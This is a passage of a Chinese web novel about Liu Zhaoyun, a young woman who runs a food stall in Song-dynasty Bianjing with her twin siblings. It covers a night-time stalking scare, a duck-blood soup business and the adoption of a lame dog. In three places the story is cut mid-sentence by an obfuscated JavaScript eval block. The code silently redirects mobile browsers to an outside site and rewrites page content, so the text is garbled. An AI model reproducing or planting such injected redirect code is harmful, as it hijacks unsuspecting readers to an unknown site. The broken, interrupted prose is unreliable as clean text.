关于夜市上要不要再卖些新花样的小食这件事,柳朝云还在考虑。一是因为她精力有限,将早食摊摆起来后势必就分不出太多时间给夜市,二是夜市生意结束的晚,深更半夜汴京城内并不是处处灯火通明,她一个女子带着两个孩子,身上还揣着钱,怎么想怎么都觉得有点危险。所以她并没有租固定的摊位,每日下午做的蒸面包也不多,一般卖上一个时辰左右,趁着大街上人还多的时候便能收摊回家了。 柳朝云笑着对郑鹏道:“郎君的提醒乃一片好意,云娘在此谢过了。” 郑鹏摆了摆手,又道:“等娘子出了新吃食,我定第一个来买。” 阳哥儿适时地插嘴道:“我阿姊在州桥东侧的大街上开了一家早食摊,明天是第一遭卖鸭血粉丝汤,客人不妨去尝尝。” 郑鹏果然很感兴趣:“哦?鸭血我知道,粉丝是何物?这鸭血粉丝汤莫不是跟血脏羹差不多?” 血脏羹是拿羊血和羊内脏一起做出来的,原先家里还富裕的时候阳哥儿便吃过一回。不过他受不了那股由内脏的腥味和羊膻味交杂在一起的味道,所以并不喜欢。 “不是,不是血脏羹,完全不一样。” 说起吃的,月姐儿就来了兴趣,她跟阳哥儿两个一人一句向郑鹏不遗余力地介绍着,说着说着不光把别人,连自己都说馋了。 郑鹏向柳朝云问明了摊位地址,拍着胸脯保证明早一定过来光顾。 告辞后,柳朝云一手牵上一个小家伙,一边走一边把他们夸了一遍。她是鼓励小孩子去多表达的,这样能更有助于训练出敏捷的逻辑思维。 眼看着穿过一条街就到甜水巷时,柳朝云忽觉不对——背后似乎有人在跟着他们。 她握紧弟妹的手,快步往前走了几步。不出所料,身后的脚步声也跟着加快了。 阳哥儿察觉到她的不安,在她手心里轻挠了两下,仰头看她,柳朝云对他做了“后面”的口型,阳哥儿的心立马提了起来。 他忽然闷头拽了一把月姐儿的头发就往前跑,月姐儿疼得哇哇直叫,挥着双手便追了过去。 柳朝云一边喊着“小心摔倒”跟在后面,一边将一只手不动声色地伸到背篓底下握住刀柄,小心翼翼地留意着后面。 好在甜水巷离得不远,一进巷子柳朝云便看见柏舟正站在自家门前,望着里面一片漆黑,举着手欲敲不敲的样子,顿时双眼一亮,大声喊道:“柏大人!” 身后的脚步声果然一轻。 深秋的夜里连吸进去的空气中都带着一股凉意,可柳朝云硬是出了一声冷汗。 她跑得气喘吁吁,象牙白的皮肤染上了一层淡淡的红晕,如同雨过初荷。 柏舟的目光在她面上凝了一瞬便迅速向后扫去,脸上一冷,留下一句“等着”,玄色的袍摆一甩,人便轻掠了出去。 阳哥儿主动拉上她,小手里汗湿一片,他将月姐儿推进屋中,有些懊恼地低声道:“我没看清是谁。” 柳朝云打来热水给他擦了擦脸和手:“没关系,你刚才的反应已经够快了。” “阿姊,你说会是谁?会不会是刘婆子?” 刘婆子在阳哥儿的心目中估计就跟现代小朋友的童话故事里的老巫婆差不多,以至于他心有余悸到一有什么坏事就下意识想到了她。 柳朝云摇了摇头,觉得不像是她。和离之前刘婆子的确是想弄死她霸占原身父母留下的东西,但如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341516|199354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今他们已经没有任何关系了,就算刘婆子知道了这座院子,也抢不到手上。若是担心她会把刘文清的秘密抖落出来,光是在夜里跟踪又有什么用。 柳朝云在心里将这段时间认识的人扒拉来扒拉去,真要说发生过龋龉的话,那就是王四夫妻了,难道会是他们? 不,不对!柳朝云忽然想到,还有一个人,那就是昨晚用私铸钱被拆穿的那个人。 笃笃笃。 柳朝云一个箭步冲到门口,听到熟悉的那声“是我”才松了一口气将门打开。 柏舟的双眸在月光下显得极亮,他的声音压得很低,柳朝云几乎要踮着脚才能听到。 “是博金赌坊的人,放心,人已经被抓住了。” “可是和私铸钱有关?” 柏舟眸色深深地看了她一眼,见她并不像是被吓到了的样子,又格外镇定,微微颔首:“我们顺着昨夜那人常去的地点摸到了私铸钱币的作坊,待排查清楚后便收网。他们有所警觉,又不知从何处走漏了消息,于是便找到了你。” 柳朝云暗抹一把冷汗,真是无妄之灾啊。 柏舟继续道:“你不必担忧,明日我们会安排个幌子,将他们的注意力从你身上移开。” 说完他才发现,两人之间的距离如此之近,柳朝云乌亮的黑发和光洁白皙的额头就在他的下颌处。 柏舟连忙后退一步,昏暗的夜色中隐藏了脸上的一缕薄红。 柳朝云不曾注意,道了声谢,又问:“柏郎君可曾用饭?” 柏舟点了点头后又摇头,他今日亲自带人在四周蹲守了一天,除了早上那顿,剩下的都是干饼子就凉水。 他从怀里一块银子,换算成铜钱约有平时的三倍多,是他额外补贴给底下人的伙食费:“这是劳烦明日柳娘子准备蒸面包的钱。” 柳朝云接过,对他说:“柏郎君回家稍坐片刻,我去给你煮碗鸭血粉丝汤。” 柏舟有些踌躇:“还是不必了,太过费事。” “今夜多亏了柏郎君帮忙呢,这是明日早食摊上要卖的,汤水都是现成的,很快就好,郎君不必客气。”柳朝云一边说一边摇了摇手上的银子,“就当柏郎君是第一个照顾我生意的食客好啦!” 她说这话的时候嘴角的梨涡若隐若现,整个人生动得像是一副会呼吸的画,柏舟情不自禁地道了声“好”。 过了大约一盏茶的时间,阳哥儿捧着碗送去了隔壁,柏舟开门见是个不到他腰高的男孩子,虽将他和柳朝云的弟弟阳哥儿对上了号,但心里说不上来怎么的,有点失落。 他先喝了一口汤,汤色清亮,却有一股鲜香直冲脑门,一下子便打开了他的味蕾。等到一整碗下肚后,在外奔波了一整天的毛孔瞬间全都舒展开来。 这碗秋夜里的汤,比他从前吃过的任何汤饼、索饼都要好吃百倍。 柏舟将碗筷刷洗干净后还了回去,临走时道:“柳娘子明日可多做几张葱油饼,我义父实在想煞了。” 柳朝云莞尔一笑:“好。” 18. 鸭油胡饼 自从搬到这里后,阳哥儿一直都是一个人住另一个房间。但他今晚洗漱完后迟迟未回房,在柳朝云身边转来转去,时不时欲言又止。 柳朝云将明早要用的面团和好,月姐儿已在房里催了:“阿姊快来睡觉。” 柳朝云应了一声,转而牵起阳哥儿的手,要将他带进房间。 阳哥儿已经八岁了,他清楚自己是不能像小时候一样和姊妹睡在一起的,但今晚的事又着实把他吓到了,所以脚顿在门口扒着门框不肯再进去。 不光如此,他还搬来一只凳子,就坐在柳朝云和月姐儿的房门口,小脸绷得紧紧的,拍着胸脯说着大人话:“你们尽管睡,我来保护你们!” 柳朝云当然不可能就放他这么坐在门口吹一晚上的冷风,她在床的上面挂上了一道竹编的帘子,隔出两道空间,然后拍了拍月姐儿:“去把阳哥儿的被子抱到这里来,今晚我们一块儿睡。” 月姐儿清脆的应了一声,蹦蹦跳跳的跑到阳哥儿的房间,一边夹着他的小枕头,一边夹着他的被子,边进门还边拱着小下巴招呼他:“进去啊。” 见阳哥儿呆立不动,她用头拱着他的后背,直接“暴力”推他入房。 阳哥儿的脸涨得通红,眼睁睁地看着妹妹一边用乱七八糟的小调哼着九九乘法表,一边把他的被子铺在床的另一侧。 “笨蛋!背错了,八九七十二,不是七十六!” “啊!你怎么能坐在我的枕头上?你坐了我还怎么睡?!” 阳哥儿终于忍不住了,一把扑过去从月姐儿屁股底下将自己的枕头抢救了过来,板板正正地摆在他的那片区域的正中间,精确的像用尺子量过一样。 月姐儿拍了拍手,眼里闪过几丝狡黠。 柳朝云将房门关紧,将桌凳全都抵在门后,回头望见,实在忍俊不禁。 阳哥儿是有点强迫症在的,就连从柴房里抱出来的柴火他都能按照大小粗细摆得规规整整,偏偏月姐儿就能治的了他。这俩真不愧是前后只差十几秒出来的龙凤胎,打在娘胎里时就一物降一物。 有了中间那道竹帘,阳哥儿心里就没那么别扭了,乖乖地爬到床上。 夜深了,甜水巷内一片寂静,银白色的月光像绸缎一样透过窗户洒在地上,听着身旁阿姊和妹妹逐渐变得均匀的呼吸声,阳哥儿强撑着瞪大的眼睛也慢慢地坚持不住了。 就在这时,一只温暖的小手忽然从帘子那一边伸进了他的被窝里,紧握住了他的手腕,阳哥儿一个激灵,便听到月姐儿咕哝的梦话声:“别怕。” 阳哥儿侧过身,面朝着帘子,就像小时候还在阿娘肚子里似的回握住月姐儿的手,轻声:“笨妹妹,我才不怕呢。” 幸亏鸭血粉丝汤的大部分材料都是提前准备的,所以即使要多做蒸面包,柳朝云也不用起的太早。 蒸面包虽然有滋味儿,但一天都吃这个难免有些腻味。 于是她将自己前几天做的萝卜、豆角、白菘都拣了些出来,虽然腌制的日子还短,但加上醋、酱油和胡麻油一拌,又脆嫩又爽口。她将这些包了两大油纸包,和蒸面包一起塞在背篓里交给了柏舟。 昨晚的馒头片生意可谓是惨淡,王四夫妻俩互相埋怨了一整晚,险些吵得没赶得及起床做炊饼,两个人都蔫哒哒的。 王四娘子揉了好几下眼睛,才敢确认不远处那个推着一辆崭新的推车的人居然是柳朝云。 她一拍大腿哭丧着脸:“哎哟我的老天爷啊,这可让我们怎么活啊!这柳娘子往常提着个背篓就算了,如今可倒好,车都推来了,我们这生意可还怎么做哟!” “都怪你,好端端的学人家卖什么蒸面包、馒头片的,害得老娘我昨晚在夜市里被人指着鼻子骂!现下连炊饼摊上的客人都少了!” 王四将抹布一甩:“什么叫我学的?你不也答应了吗!听到要赚钱就急着拉拔你娘家人,赔了钱就赖我!臭婆娘!” 幸亏有其他人拦着,不然这两口子非得当街干起来。 柳朝云这摊子还没摆起来,就先惹起了一道血雨腥风。 但她知道,这对夫妻之所以吵得这么凶,互相埋怨是真,但未必不是吵给她看的。 想把她吓退么,柳朝云笑盈盈地想,那是绝对不可能滴。 她将推车放好,从底下搬出一个三折叠的长桌,和阳哥儿两人一人一头,一牵一拉,桌子就横在了面前,月姐儿则跟在后面将板凳和筷筒摆了起来。 这是柳朝云昨天临时找鲁大做的,其实就是一片长木板加四条腿拼成的桌子,中间加了两处能活动的榫卯而已,做起来非常快。 折起来也就一张方凳那么大,但展开来却至少能坐得下六个人。 任是做了半辈子木工活的鲁大,昨日按照她提出的想法做出成品后都忍不住赞叹。 他们姐弟三个这么云淡风轻的一摆弄,连王四夫妻俩都目瞪口呆,连吵架都忘了。 另一边卖酱菜的钟嫂子向来老实讷言,也忍不住凑了过来:“这桌子好,既不占地方,逢年过节家里来客人了也不用去邻居家借桌子了。” 汴京城人多地方少,大多数人家里都住的紧巴巴的,自然是能省一点空间就省一点。 不光是钟嫂子,周围不少摊贩都过来问,柳朝云也没什么好藏私的,索性直接将鲁大家的地址告诉了他们。 王四家卖的是炊饼,客人买了就走,根本没有坐下来吃的必要,王四娘子一边嘀咕着这种桌子她家用不上,一边凑过去竖着耳朵打听是在哪儿定做的。 街上行人渐多,柳朝云将鸭汤的盖子打开,一股热气裹挟着浓香瞬间冒了出来。 一时之间,不管是吃过朝食的,还是没吃过朝食的,都是一个姿势——耸着鼻子找香味的来源。 “柳娘子,来碗热汤!”说话的是前几天买蒸面包的一位熟客。 他见柳朝云不卖蒸面包还有些失望,但被这香味一熏,嘴里的口水立马泛滥成灾,肚里的馋虫咕噜噜直叫。他心想一碗热汤怕是吃不饱,正准备从隔壁买两个炊饼,就听见柳朝云问他:“客人可有忌口,鸭血、鸭肝、鸭胗、鸭肠可有不吃的?” 这人“咦”了一声,这才凑了过去,好奇地问道:“怎地都是些鸭下水?” 王四娘子分明看见这个客人要往她家来,还没来得及高兴就见人又被柳朝云的食摊勾了回去,气得直咬牙,酸溜溜地说:“这些东西一看就是只在水里滚了一圈,没滋没味的,一股子腥气,谁会喜欢吃!” 柳朝云才不理她,拿了一个小碟子各拣了一块:“客人尝尝。” 这人心里的想法其实和王四娘子差不多,原本想喝碗汤就走的,面上带出了些迟疑,但架不住柳朝云已经把东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341517|199354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 递到他面前了,他只好硬着头皮一股脑倒进了嘴里。 王四娘子歪着脖子正准备看笑话呢,她无比希望这个人最好能被腥的当场吐出来,让柳朝云的食摊赔的血本无归,她才觉得解气呢。 可没想到这人越嚼越快,眼珠子都快瞪得凸出来了,他恋恋不舍地咽了下去,夸道:“好吃!鲜!香!嫩!脆!都来点!” 柳朝云道:“好嘞!” 说话的功夫,雪白透明的蚕丝饭也煮好了,如同丝线一般铺在碗底,浇上一层清澈的高汤,金黄色的豆腐泡浸在汤汁里,面上满满一层料,喷香扑鼻。 这人一看不止有汤,早把炊饼忘到九霄云外去了,都不舍得直接去座位上坐着等,柳朝云前脚煮好,他后脚就端走了,抄起筷子就埋头苦吃。 王四娘子幸灾乐祸的笑容僵在脸上,哼了一声扭身回去了。 柳朝云昨日将鸭身上的肥脂都剔了出来,炸成鸭油团成油酥放在一边。又将已骨酥肉烂的鸭身上的肉全都剔了下来,切成细蓉后拨出一半用油炒的干干的,再倒回到另一半里拌在一起。 醒好的面团揪成大小相同的小剂子,包入油酥擀成椭圆形,自上而下卷起,然后再按扁擀开,重复两次后,用手掌按扁,蘸上芝麻,在平底陶盘里刷上一层薄油,小火慢烘。 第一位客人将碗里的汤喝的一滴不剩,刚打个饱嗝,又闻到一股与众不同、带着浓浓鸭脂的香气,于是又馋了,道:“柳娘子,给我再来两个胡饼。” 柳朝云问他:“鸭油胡饼没有馅的六文钱一个,鸭肉馅的八文钱一个,客人要哪种?” 那人大手一挥:“都要带馅的。” 柳朝云用油纸给他包好,一碗鸭血粉丝汤二十五文一碗,再加上两个胡饼,如今的阳哥儿已经不需要思考多久,就算出来该收多少钱了。 这人一边走一边吃,刚咬一口,鸭油胡饼就酥的直往下掉,别看它一个只有巴掌大,但是肉馅着实不少,而且这馅和馒头里的还不一样,干香干香的,越嚼越有滋味那种,好吃到他连油纸里落下来的酥皮都舍不得扔,直接一股脑倒进嘴里,嘿,美滋滋。 食摊前被吸引过来的客人逐渐变多,桌子前很快便坐满了,还有人是带着自家的碗来的,柳朝云这一碗汤多料多,端回去再加点煮好的索饼,两个人都能吃的饱饱的。 柳朝云估着鸭汤的量,准备了三十碗蚕丝饭,阳哥儿和月姐儿端着托盘充当小服务员一趟趟的跑,锅里很快便见底了。 张牙人知道柳朝云食摊的位置,前几天有事只是路过远远看了一眼,不知生意究竟如何,今日才有功夫来一趟。 见食摊前只坐了一个客人,他还以为生意不好呢,招招手把脸蛋红扑扑的月姐儿喊来,往她手里塞了几块蜜饯,对柳朝云道:“云娘,给我来一碗这个甚么......鸭血粉丝汤。” 陌生人给的东西除非阿姊同意,否则月姐儿是不会接的。但张牙人她从小便认识,比亲叔叔还要亲,于是道了声谢接了过来,两眼弯弯道:“只剩最后一碗,来晚就没啦,张叔真幸运!” 张牙人十分讶异,他着实没想到,原来人少不是因为生意不好,而是生意太好了:“云娘的手艺竟这样好。” 正当柳朝云将最后一碗鸭血粉丝汤煮好的时候,忽然听到有人道:“小娘子,老朽的葱油饼做好了否?” 19. 家庭新成员 柳朝云抬头一看,顿时笑了。 来人正是魏国公段沛,他头发白了一大半,但脸和身材都是圆滚滚的,脸上皱纹都被撑开了,再加上又是行伍出身,所以看上去远比实际年龄要年轻些。 段沛笑眯眯的,不知道他身份的人都把他当做一位平常的邻家老丈。 “客人稍等片刻。” 段沛没有走,反而开始好奇地一一打量着推车,卤好的鸭杂已经都卖完了,鸭汤也只剩下浅浅的一层底儿,但香气还在。 段沛情不自禁地咽了咽口水,道:“柳娘子,剩下的那点汤都给我吧。” 一边说一边暗自在心里腹诽,柏舟那个臭小子,口风竟然这么紧,光顾着自己吃得好,居然不告诉他柳娘子的朝食摊上卖这么好喝的汤,害得他来迟了。 与此同时,蹲守在博金赌坊外的柏舟打了个喷嚏。 手底下的人纷纷道:“这鬼天气越来越冷了,要不去买碗热汤来给大人暖暖身子吧。” 柏舟右臂握刀抱在胸前,冷峻的眉眼一肃:“不必。人来了,分三个人悄悄坠上去,另外的人分散开来,将出口都堵上!” “是!” 段沛一手端着汤一手拿着刚出炉的热腾腾的葱油饼,一坐下就美滋滋地来了一口。 真香! 段沛差点喊出声来。 他戎马半生,曾在战场上和士兵们一起啃树皮、喝泥水,也曾吃过宫廷里用各种名贵食材烹饪的精致御宴,但最爱的还是这一口——用老百姓们都吃得起的东西做成的美味佳肴。 他打了半辈子仗,不就是为了百姓能吃的好嘛! 张牙人和段沛一人占据长桌的一边,这边吸溜溜,那边立马呼噜噜,两人大眼瞪小眼,都觉得自己面前的更好吃,又下意识眼馋对方手里的。 最终两人同时败下阵来,张牙人分给段沛半碗鸭血粉丝汤,段沛分他两张葱油饼。 看在柳朝云眼里,就跟幼儿园的小朋友排排坐分果果一样好笑。 柳朝云用热水淘洗着碗筷,月姐儿和阳哥儿则一人负责再过一遍水,一人负责将水擦干。 “去去去!哪里来的小叫花子,滚远点!别妨碍老娘做生意!”王四娘子守着一早上都冷冷清清的炊饼摊,满肚子都是火气,声音尖利,将一个浑身褴褛,看上去也就十来岁的男孩往外赶,长长的指甲险些划破对方的脖子。 那男孩身上穿的衣服都是补丁,针线歪歪扭扭的,上衣勉强盖住肚子,下半身的裤子短得都露出小腿了,在寒风中瑟瑟发抖。 因为瘦得就跟柴火棍似的,所以显得头大身子小,但从头到脚都是干干净净的,并不像是小乞丐。 段沛看在眼里,心底有些难受,喊道:“那孩子,你家大人呢?” 王四娘子“呸”了一声:“慈幼局里跑出来的小子,早就没爹没妈了,整天不是混东家就是混西家,那位官人你可千万别多管闲事,否则他领着的那一群小子就跟烂泥似的沾在你身上,甩都甩不脱!” 男孩默默垂下眼,搓了搓双手从柳朝云摊子前快速跑了。 段沛听王四娘子的话觉得十分刺耳,可他一个老头子总不好当街和一位卖炊饼的妇人吵吵闹闹的,脸上颇有几分郁闷,道:“官家每年都要拨不少银子给慈幼局,莫不是底下人苛扣了油水,孩子们怎么过得如此之差!” 张牙人是知道几分内情的,摸了摸嘴唇上的两撇胡子,道:“你是只知其一不知其二。前年年底汴京城里一场时疫,几乎人人家里都挂着白丧,不知多少人家妻离子散,慈幼局里自然也多出了不少无父无母的孩子。倒也不是底下的人不尽心,可僧多粥少,可不就变成现在这个样子?” 原来如此,段沛心里有些难受,琢磨着回去便上封奏折呈给官家,多拨些银子让这些孩子过得好点,若是钱紧,就从他俸禄里扣好了。 月姐儿和阳哥儿听了,十分默契地挪着步子往阿姊身上靠了靠。 收完摊后,柳朝云带着弟妹去了集市。 昨日买鸭的那家摊主夫妻姓葛,人实在,摊子上也打扫的干净,并不像别家排泄物、鸡毛鸭毛、血渍到处都是,鸭杂也处理的干净,于是柳朝云便和他们签了一道长期供货的契约——每日至少两只整鸭,十来斤鸭杂。 摊主夫妻俩笑得合不拢嘴,忙答应了,约定好每日必定提供的都是最新鲜的鸭子,苗娘子的豆腐摊离这儿不远,他们也常去买几块豆腐的,于是拍着胸脯答应一并将炸豆腐也一起送到甜水巷。 柳朝云问他们:“不知你们可有鹅卖?最好是大一点,凶一点的。” 她想过了,昨晚的事虽然只是虚惊一场,但毕竟家里就只有她和年幼的弟妹,还是买个牲口看家护院比较好。 别看大鹅是家禽,可它战斗力可不容小觑,柳朝云就曾见过一个人高马大的彪形大汉被一只大鹅欺负的抱屁股鼠蹿喊妈妈的。 摊主忙应:“有有,我阿娘今年养了好几只呢,今天下午我一并带过来。” 柳朝云的手被月姐儿摇了摇:“阿姊,再养几只□□,鹅蛋不好吃,鸡蛋好吃。” 柳朝云失笑,这小吃货还以为自己养鹅是为了生蛋哩。但她没养过鸡、也不会养鸡,可看着月姐儿期盼的小眼神,她又说不出拒绝的话来,只好点头答应了。 不过她对摊主道:“麻烦你挑些大一点的鸡。” 小鸡容易养不活,生不生蛋倒是无所谓,万一死了,月姐儿怕是要心疼的掉金豆子。 想起马上就要有满院子的鸡粑粑要清理,柳朝云不免得有些头疼,于是又补充道:“几只就好了,不要太多。” 葛娘子一看就知道她在愁什么,噗嗤一声笑了,好心告诉她:“你往鸡笼子底下每日盖上一层烧过的草木灰,若是烧炭的话,就撒上些炭灰,这样气味就不会太大。” 柳朝云如听纶音,连忙记下,临走时提走了一只两斤左右的小嫩鸭,准备午食做来吃。 完全不知道阿姊在愁些什么的月姐儿,知道家里马上就要有毛茸茸的小鸡了,开心的恨不得边走路边转圈圈,还得阳哥儿拉着她才不至于摔倒。 阳哥儿吭哧吭哧憋了半天,才问道:“阿姊不如再买条狗回来看家?” 月姐儿嘻嘻地笑着:“是阳哥儿自己喜欢狗吧?” 阳哥儿被妹妹道破心思,脸上红了红,但还是嘴硬道:“才不是,我是为了咱们家的安全着想。” 柳朝云起了逗弄他的心思,咳了一声装作一本正经道:“大鹅也能看家,比狗还凶呢,不买狗也行的。” 月姐儿嘿嘿笑了两声,不说话。 阳哥儿目瞪口呆,嘴唇动了动,十分挫败地低下了头,连小肩膀都耷拉了下来。 柳朝云强忍住笑意,朝着月姐儿挤了挤眼,月姐儿哈哈乐了:“阳哥儿真笨,明明是自己想要,偏要在阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341518|199354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姊面前拐弯抹角,来,跟我学!” 小“学渣”柳朝月开课了: 她摇着柳朝云的手,两只又圆又大的杏眼眨巴眨巴,萌得不要不要的:“阿姊,我想养一只小狗,好不好嘛?” 柳朝云刮了刮她的小鼻子:“嗯,就依月姐儿的。” 月姐儿朝着脸上表情已经完全僵住的阳哥儿摊了摊双手:“瞧,就是这么简单,你来一遍吧。” 阳哥儿:“......” 他的脸涨得跟猴子屁股似的,瞧着周围人都没注意,快速地摇了两下柳朝云的手,声音低的像蚊子哼哼:“阿姊,我想养一只小狗,可以吗?” 哎哟喂,柳朝云的心都要化了,若不是怕阳哥儿更害羞,都要揉揉他的小脸蛋了,唇角牵出笑,一口答应:“行!怎么不行!” 鸡和鹅都养了,还差一只狗吗? 三人索性脚步一转,就往猫狗肆去了。 大宋的时候就已经有十分成熟的猫狗市场了,不仅在交易时买卖双方要订立契约,而且还有专卖宠物粮的店铺、给猫狗提供美容美发服务的店铺,连逗猫棒和猫薄荷都有。 只能说现代人玩的,咱们的老祖宗早就玩过啦。 阳哥儿和月姐儿一进店就蹲在装着狗的笼子前,两人凑着头嘀嘀咕咕的商量着选哪一只回去。 最终,阳哥儿手指了指缩在最角落的、通体漆黑的小狗,问:“阿姊,买那只可以吗?” 店主看了一眼,“哎哟”了一声,捏着小黑狗的后脖颈将它从里面提了出来,道:“娘子,我做这行许多年了,从不干那种把病狗残狗当成好狗卖给客人的缺德事。” 他拨弄了一下小黑狗的左后脚,道:“喏,你瞧,这只狗的后腿是瘸的,所以一直都无人问津。” 这只狗从被笼子里提出来之后就一直四肢垂着,不躲闪也不吠叫,两只眼睛湿漉漉地看着人。但它的双眼不是纯黑的,而是隐隐泛着绿。 见她问了,店主也不隐瞒,直接说道:“这小黑狗的母亲往山上跑过几回,所以它身上怕是有狼的血统。它是一窝里最小的一个,出来的时候有些难产,狗主人呢就拽了两下,不小心弄断了它的腿,就成了现在这样。你若是要的话,我算你便宜些。” 阳哥儿见柳朝云一直不说话,还以为她是不想要,摇着她的手可怜巴巴道:“阿姊,就买它好不好?” “行。”柳朝云干脆地拍板道。 店主一边写契约一边道:“这条狗我只收你一百文钱,不过咱们事先得说好,若是你之后不想要了,不许打它、也不许扔了它,还把它送回到我这儿来。” 一百文钱堪称是白菜价了,这小黑狗虽然腿瘸了一只,但浑身上下都是干干净净的,眼睛也没有血丝,可见这店主是真的心好,于是柳朝云一口应了。 店主将契约上的墨水吹干,递给柳朝云:“三个月来我这儿领一次驱虫药。” 阳哥儿已经迫不及待地将小黑狗抱在怀里了,一路走一路保证:“我会好好照顾它的,阿姊别不要它。” 柳朝云揉了揉小黑狗的下巴,将自己和月姐儿的手都放在它鼻子前,小黑狗动了动鼻子闻了两下,呜呜两声,歪着头看了一眼她,眼睛亮亮的。 “真乖。”柳朝云对阳哥儿说,“放心吧,它从今以后就是咱们家的一员了,阿姊不会不要它的。而且呀,阿姊还能让它和别的小狗一样又跑又跳哦。” 20. 八宝鸭 这话一出,不光是月姐儿,连阳哥儿都一脸星星眼地望着柳朝云:“阿姊现在要去带小狗狗去看大夫吗?” 柳朝云捏了捏小黑狗已经变形萎缩的小腿,叹了一口气。 若是刚断的时候立马接上,这条腿怕是也不会变成现在这样。那猫狗铺的主人也肯定给它看过大夫了,这条受伤的腿不仅肌肉已经萎缩了,骨头也没有发育,所以想重新接好是不行的,只能借助外力。 否则这条小狗就一直站不起来也跑不起来,时间一长,其他完好的三条腿也会慢慢退化,狗会生病的。 柳朝云来到了鲁大家,鲁家的大院里堆着比以往更多的刨木花,鲁大收的几个学徒全都热火朝天地埋头做着活。虽然满脸都是油汗,但个个脸上都挂着笑,看见柳朝云来,全都抬起头打招呼,声音热情的不行,看她的样子就像是在看财神奶奶一样。 柳朝云满头雾水,鲁大娘子挨个拍了他们一下:“做你们的事去!一个个五大三粗的,别把柳娘子吓坏了,让你们师傅看见揍你们!” 说着拉着柳朝云的手就往里走,给阳哥儿和月姐儿一人一颗糖,招呼他们和鲁大娘子的小女儿杏姐儿一起玩。 杏姐儿的眉眼五官和鲁大娘子很相似,十分柔和,她的父亲是木匠,经常拿些做剩下的木头边角料给孩子雕玩具,整条甜水巷的孩子们都很羡慕她。 但一见着阳哥儿怀里的小狗,她就把什么玩具都抛到脑后了。 鲁大娘子往柳朝云手里塞了一杯热茶,脸上的笑容跟外面的学徒一样热情,热情的柳朝云都快招架不住了:“多亏了你那个折叠桌子的主意,今天好些人上门,指名都要你那种。这不,花样简单的我家官人就让学徒们做,答应做成了分他们三成的工钱,一个个干得可起劲儿了。这主意是你想的,我们都是沾了你的光,所以也分你三成。” 在这个时代,来学手艺的学徒大多都是没工钱的,而且还要帮师傅家干活,跟长工差不多,比如李家大郎那样。所以鲁大肯分三成的工钱给学徒,虽然不多,足以看出他们夫妻俩心善不刻薄。 不过柳朝云并不打算要,并不是她嫌少,而是这种桌子只是一时新鲜,别的木匠稍微看看就能琢磨明白。而且她一不会画设计图纸,二不懂木工活,她的想法是一方面,最主要的还是鲁大的理解和动手能力强。 杏姐儿注意到小黑狗的残腿,小嘴一撇:“它这是怎么啦?是不是有人欺负它了?”说着就撸起袖子:“走,月姐儿,我带你去找我阿兄,让他们把虐待小狗的坏人给揍一顿!” 杏姐儿有两个亲哥哥,两个堂哥,外祖那边还有若干表哥表弟,这话说出来,气势足得很。 鲁大娘子看小女儿那样头疼的很,瞪了她一眼,道:“你是恶霸还是你哥哥们都是恶霸啊?动不动就要揍别人一顿,我看你是想吃竹板炒肉了!” 杏姐儿吐了吐舌头,作一脸乖巧状。 鲁大娘子又道:“你们家没个男人,是该买条狗看家。不过......这狗又小又弱,还是个残的,云娘你是不是被人给骗了?走,嫂子带你说理去!” 杏姐儿小声道:“阿娘还说我呢,她不也是这样。” 鲁大娘子没听见,月姐儿倒是听个正着,杏姐儿朝她挤了挤眼睛,两人抿着嘴偷偷笑了。 阳哥儿被鲁大娘子那句“没个男人”打击得一脸郁闷,他看看学徒们胳膊上的腱子肉,再看看自己的细胳膊细腿,觉得整个人都不好了。 柳朝云摆了摆手,道:“嫂子先别急,我有办法能让狗站起来,这事儿得找鲁大哥帮忙。” 鲁大娘子还是一脸困惑不解,她家官人是木匠,又不是大夫,怎地还让他来给狗治腿?再者,给狗治腿也太麻烦了,万一治不好呢?不如买条健全的好。 柳朝云怕吓着孩子,小声道:“这狗身上有狼的血统。” 鲁大娘子浑身一凛,这才明白过来。她说呢,云娘在外面买吃食做生意,怎么可能随随便便就让人骗了去。有狼血好啊,既能跟狗一样亲人还比一般狗要凶。 “云娘你等着,官人在后头做活呢,我去把他给你叫来。” 柳朝云想给小狗打造一个类似于轮椅的东西,她在现代的时候见过,底部是两个轮子,受伤的腿固定住放在上面,高度可以根据另一条腿不断调节,这样就算只有三条腿,狗也能跑起来。 鲁大喜欢研究新的玩意儿,听得满眼放光,但他嘴笨,夸不出什么别的来,只会说“好”,他竖起一根手指,道:“给我一晚上。” 鲁大娘子捣了他一下,结果见自家官人只知咧着嘴笑,一点没明白她的意思,气得翻了个白眼,于是便自己道:“云娘,你不肯收折叠桌的钱,那这工钱我们便不要你的。以后你家的东西若是坏了,尽管到我家来修,免费!” 鲁大在一旁点头:“对,对。” 鲁大娘子又给他一个白眼。 